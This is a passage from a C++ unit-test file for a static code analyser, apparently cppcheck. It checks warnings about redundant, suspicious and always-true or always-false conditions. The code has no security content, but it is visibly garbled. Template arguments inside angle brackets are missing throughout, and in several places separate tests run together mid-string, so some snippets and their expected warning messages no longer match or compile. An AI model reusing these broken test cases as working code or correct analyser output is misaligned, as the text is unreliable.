errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) 